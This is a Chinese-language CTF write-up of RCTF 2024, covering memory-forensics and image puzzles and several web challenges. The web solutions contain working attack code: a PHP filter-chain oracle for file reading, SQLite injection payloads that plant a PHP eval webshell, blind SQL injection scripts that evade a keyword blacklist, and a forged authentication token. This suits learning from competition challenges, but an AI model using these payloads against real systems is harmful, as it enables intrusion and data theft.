2024 RCTF Web&Misc部分 WP

CSDN 2024-06-26 11:33:02 阅读 59

Misc

gogogo

考点:内存取证

得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析

AXIOM 分析存在云服务 但是百度网盘要密码

https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw

image.png

发现访问过sqlite数据库 可以尝试提取数据库文件出来

image.png

结合 volatility 第一步先看 粘贴板

vol.py -f gogogo.raw --profile=Win7SP0x86 clipboard

image.png

cwqs 猜测可能是百度网盘密码

image.png

得到 pwn=?.zip 但是还有密码 缺少关键信息

提取 places.sqlite数据库文件

扫描:vol.py -f gogogo.raw --profile=Win7SP0x86 filescan |grep "places.sqlite"

image.png

提取sqlite文件

vol.py -f gogogo.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007f634f80 -D ./

打开 数据库文件 发现在moz_place 发现访问网址

image.png

访问 https://space.bilibili.com/3546644702301067

image.png

提示pwd=uid uid=3546644702301067

这个是压缩包密码

打开后为 flag.zip 和键盘流量lqld.pcapng

直接 usb流量一把梭

image.png

niuo ybufmefhui kjqillxdjwmi uizebuui

dvoo

udpn uibuui jqybdm vegeyisi

vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi

zvjnybufme hkwjdeggma

na mimajqueviig

kyllda doqisl ba

pnynqrpn

qrxcxxzimu

输入法拼音双键联想 注意na mima

注意

na mimajqueviig 那密码就设置成

kyllda doqisl ba 快来打夺旗赛吧

"那密码就确定为,快来打夺旗赛吧"

密码是 kuailaidaduoqisaiba

打开直接就是flag

RCTF{wo_shen_me_dou_hui_zuo_de}

sec-image

考点: 光栅图

image.png

曾哥写过自动化工具一款CTFer专属的光栅图碰撞全自动化脚本

这个工具有两个参数 -x -y

-x XCOORDINATE 自动读取图片并尝试爆破横向光栅图

-y YCOORDINATE 自动读取图片并尝试爆破纵向光栅图

根据已知信息 flag RCTF{xxxxx}倒推找规律

flag0

-x R(T) C(F) 最明显的是一组的作为划分标准

-y 此时的2-1 是RC 2-2是TF2-1对应1,2位 2-2对应3,4位

flag1:{c4b

flag2:af0e

依次类推

但是难免有些图片 实在是模糊不清

这个时候就用stegsolve 辅助判断

image.png

RCTF{c4baf0eb-e5ca-543a-06d0-39d72325a0}

FindAHacker

内存取证 查看Desktop文件内容

vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 filescan | grep "Desktop"

在这里插入图片描述

发现存在ida 逆向临时数据库

检查 进程

vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 pslist

image.png

提取 内存文件

vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 memdump -p 2172 -D ./

修改后缀位data用 gimp打开后

image.png

调了半天没有找到那一帧

不管了直接借用其他WP的图

image.png

不太懂逆向 xor数据后就是flag

mmm = [0x35,0x3f,0x4e,0x2b,0x56,0x6b,0x74,0x6a,0x5d,0x6d,0x6f,0x73,0x6c,0x77,0x38,0x68,0x59,0x6e,0x20,0x21,0x3c,0x71,0x4f,0x09,0x36,0x7d,0x55,0x72,0x51,0x32,0x27,0x66]

enc = [0x0c,0x0f,0x2b,0x48,0x6f,0x5d,0x46,0x53,0x64,0x59,0x59,0x4b,0x5f,0x47,0x5b,0x5b,0x6b,0x5f,0x15,0x16,0x5d,0x12,0x76,0x6b,0x07,0x1b,0x33,0x4a,0x67,0x07,0x11,0x0]

flag=[]

for i in range(len(mmm)):

flag.append(chr(mmm[i]^enc[i]))

flag=''.join(flag)

print("RCTF{"+flag+"}")

image.png

RCTF{90ec9629946830c32157ac9b1ff8656f}

Web

color

做了反调试 直接ctrl+F8 停用断点 或者直接手动禁用

当时写了个自动化找不同xpath的脚本(就是找色差)

from selenium import webdriver

from selenium.webdriver.common.by import By

from selenium.webdriver.support.ui import WebDriverWait

from selenium.webdriver.support import expected_conditions as EC

import time

driver = webdriver.Chrome()

driver.get('http://124.71.164.28:10088/')

time.sleep(60)

start_button = WebDriverWait(driver, 10).until(

EC.element_to_be_clickable((By.CLASS_NAME, 'play-btn'))

)

start_button.click()

i = 0

while True:

try:

i = i + 1

boxes = WebDriverWait(driver, 10).until(

EC.presence_of_all_elements_located((By.XPATH, '//*[@id="box"]/*'))

)

found = False

for i in range(len(boxes) - 1):

if boxes[i].get_attribute('style') != boxes[i + 1].get_attribute('style'):

if i + 2 < len(boxes) and boxes[i].get_attribute('style') != boxes[i + 2].get_attribute('style'):

boxes[i].click()

else:

boxes[i + 1].click()

found = True

break

if not found:

if len(boxes) > 1:

boxes[-1].click()

t2 = time.time()

except Exception as e:

print(f"An error occurred: { e}")

time.sleep(20)

continue

print("Done")

但是即使是自动化 也存在可见的延迟

当时做题时没有注意,认为是后端的延迟(但是实际是前端的)

不是只有60s吗 时间是减少的 可以让时间增加 使它逻辑相反

逆了下它关键的加密逻辑 但是想简化问题

const CryptoJS = require('crypto-js');

function _0x443f31(_0x1de1a8) {

var _0x1de1a8 = 'checkImage';

var _0x4b1cba = "88b4dbc541cd57f2d55398e9be3e61ae";

var _0xdc28e0 = "41cd57f2d55398e9";

return CryptoJS.AES.encrypt(_0x1de1a8, CryptoJS.enc.Utf8.parse(_0x4b1cba), {

iv: CryptoJS.enc.Utf8.parse(_0xdc28e0),

mode: CryptoJS.mode.CBC,

padding: CryptoJS.pad.Pkcs7

}).toString();

}

console.log(_0x443f31());

//xEt6B2i+YJdcrJ/RG3Ie4Q==

所以直接js逆向改变其代码逻辑

游戏时间不是只有60s 吗 令他时间增加不就行了

tick: function () {

if (this._pause) {

return undefined;

} else {

this.time++;

if (this.time < 6) {

_0x4b69a3.time.addClass("danger");

}

if(this.time>1200){

this.gameOver();

return;

}

if (this.time < 0) {

this.gameOver();

return;

} else {

_0x4b69a3.time.text(parseInt(this.time));

return;

}

}

修改代码逻辑 使时间增加 到1200 进入gameover结算即可

image.png

时间增加成功

结合自动化的脚本

现在就等1200s秒后就可以拿提示了

拿到路由/secr3tcolor.zip 可以得到源码

dockerfile中直接提示flag 在 /flag.txt中

image.png

就是已知flag的位置 要想办法读取文件

看看 game.php

else if($action === "checkImage"){

try {

$upload_image = file_get_contents($_FILES["image"]["tmp_name"]);

echo getimagesize($upload_image);

echo+文件处理流函数

直接考虑 php filter Oracle 测信道 任意文件读取

参考:https://xz.aliyun.com/t/12939

被影响的函数包含 getimagesize

image.png

https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py

简单改下poc即可 改变其 req函数

def req(s):

data = { "action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}

string_content = f"php://filter/{ s}/resource=/flag.txt"

files = { 'image': string_content}

res=requests.post('http://124.71.164.28:10088/final/game.php', data=data,files=files)

return 'Fatal' in res.text

注意一下原来的poc是通过 http状态码 500 判断测信道

但是实际上 只要 php 内存溢出了 就会有报错

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6

可以从其中顺便找个 关键词 作为判断的标准即可

比如我这里是用 Fatal

image.png

header头就是编码方式

可以根据 自己的需求 改它的poc即可

image.png

RCTF{Color_Col0r_C0lor}

赛后看了看其他WP 既然是前端做的延迟那么直接敲掉 delay就可以了

后自动化脚本也是可以的

但是试了一下不太可能 一秒如何跑8次左右 还要考虑网络本身和脚本的延迟 没有成功

image.png

proxy

考点 :sqlite注入

public function execMultiSQL($arysql){

try{

$this->dm_handler->beginTransaction();

foreach($arysql as $asql){

$result=$this->dm_handler->exec($asql);

}

#只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库

$this->dm_handler->commit();

return TRUE;

}

catch(PDOException $exception) {

$this->dm_handler->rollBack();

return FALSE;

}

}

其实 这道就是考如何闭合sql语句 写到数据库中

$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";

$arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";

#闭合方式:1');CREATE TABLE J1rrY (t TEXT);--+-

$arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";

#直接将其嵌入到 SQL 语句

$arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";

$DbObj->execMultiSQL($arysql);

但是测试了非常久 最终 还是能同时闭合前面 但是绕不过最后一个

同时闭合所有sql语句 这个思路是看样子是走不通了

查找 sqlite教程 SQLite 事务(Transaction)发现存在COMMIT命令

https://www.runoob.com/sqlite/sqlite-transaction.html

COMMIT 命令

COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。

COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。

COMMIT 命令的语法如下:

COMMIT;

or

END TRANSACTION;

居然可以无视报错直接提交COMMIT到数据库保存

结合sqlite注入写shell的文章 其中的poc一把梭就是

https://xz.aliyun.com/t/8627

');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');COMMIT;--+-

image.png

直接写shell是成功的

image.png

RCTF{ok_you_are_win_this_sql_game}

赛后看了看其他的WP 发现正解该是利用Proxy.php

$http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];

伪造$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT']

作为HTTP头传递

比赛时特别考虑过 但是没有内容就认为不是这个思路

image.png

但是没想到居然可以利用Proxy.php

image.png

的确可以拿到请求 以后就用nc判断了…

那么我们只需要闭合最后的sql语句即可

VALUES('".$ProxyObj->body."')";

其他前面的sql一定是闭合的

直接用先知的文章打payload,简单闭合就可以了

<?php

echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";

?>

image.png

一个小问题:

如果我们访问poc.php返回

a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('');--

VALUES ('');的值为空 是没有写进去吗?

本地看了一下是写进去了

image.png

RCTF{ok_you_are_win_this_sql_game}

what_is_love

存在黑名单 要进行绕过

db.query(

"CREATE TABLE IF NOT EXISTS key1 (id INT AUTO_INCREMENT PRIMARY KEY,love_key VARCHAR(255) NOT NULL)"

);

db.query(

"INSERT INTO key1 (love_key) VALUES('RCTF{key1')"

//向 key1表中插入 love_key的值

存在表名 key1 字段为 love_key

黑名单相当于禁用了

/SELECT|CREATE|TABLE|DATABASE|IF|\(|\)|INSERT|UPDATE|DELETE|AND|OR|\.\./|\./|UNION|INTO|LOAD_FILE|OUTFILE|DUMPFILE|SUB|HEX|NOW|CURRENT_TIMESTAMP|GETDATE|SLEEP|SUBSTRING|MID|LEFT|RIGHT|ASCII|CHAR|REPEAT|REPLICATE|LIKE|%/gi

let res1 = `SELECT * FROM key1 WHERE love_key = '${ key1}'`;

db.query(`SELECT * FROM key1 WHERE love_key = '${ key1}'`, (err, results) => {

//很显然我们不知道love_key的具体值

if (err) {

res.send("error");

} else if (results.length > 0) {

res.send("success");//布尔盲注

} else {

res.send("wrong");

}

这是一道非常典型的布尔盲注

但是要注意的是 这道题将select过滤了 我们无法进行任何查询操作

但是 love_key 就是我们要求的第一段flag

完全可以直接 通过 正则匹配查询想要的数据 通过布尔盲注判断即可

flag 1 必然是RCTF开头的可以验证一下

image.png

通过正则匹配开头是 R 可以验证思路是正确的

编写脚步(注意 --+- 只能用于GET )

import requests

url="http://1.94.13.174:10088/key1"

strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@$%&()#'

flag=""

while True:

for i in strs:

data={ "key1":f"1' || love_key regexp binary '^{ flag+i}'#"}

res=requests.post(url=url,data=data)

if "success" in res.text:

flag+=i

print(flag)

但是同时 由于源码限制 key1.length > 52

image.png

RCTF{THE_FIRST_STEP 第一段flag不完全

直接倒着匹配flag 1

import requests

url="http://1.94.13.174:10088/key1"

strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@%&()#'

flag=""

while True:

for i in strs:

#data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}

data={ "key1":f"1' || love_key regexp binary '{ i+flag}$'#"}

res=requests.post(url=url,data=data)

if "success" in res.text:

flag=i+flag

print(flag)

image.png

P_IS_TO_GET_TO_KNOW

flag 1就是 RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

如果我们不按照它期望传入一个数字 而是字符串

userInfo.love_time = Number(love_time); 将返回 NAN

在此时的加密中

const createToken = (userinfo) => {

const saltedSecret =

parseInt(Buffer.from(secret).readBigUInt64BE()) +

parseInt(userinfo.love_time);

const data = JSON.stringify(userinfo);

return (

Buffer.from(data).toString("base64") + "." + hash(`${ data}:${ saltedSecret}`)

);

};

直接和随机生成的secret 拼接

image.png

那么此时的

${data}:{"username":"J1rrY","love_time":null,"have_lovers":false}

${saltedSecret}:secret+NAN

尝试输出此时的 saltedSecret

const crypto = require("crypto");

const secret = crypto.randomBytes(128);

love_time=null

const saltedSecret =

parseInt(Buffer.from(secret).readBigUInt64BE()) +

parseInt(love_time);

console.log(saltedSecret);

会发现始终是一个定值 NaN

image.png

这说明一个事实 只要 "love_time"为 null saltedSecret就一定是 NaN 是一个定值

已知加密逻辑直接伪造加密就是了

const crypto = require("crypto");

const secret = crypto.randomBytes(128);

const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");

userinfo={ "username":"J1rrY","love_time":null,"have_lovers":true}

const saltedSecret =NaN;

console.log(saltedSecret)

const data = JSON.stringify(userinfo);

console.log(data)

console.log(Buffer.from(data).toString("base64") + "." + hash(`${ data}:${ saltedSecret}`))

image.png

在这里插入图片描述

RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。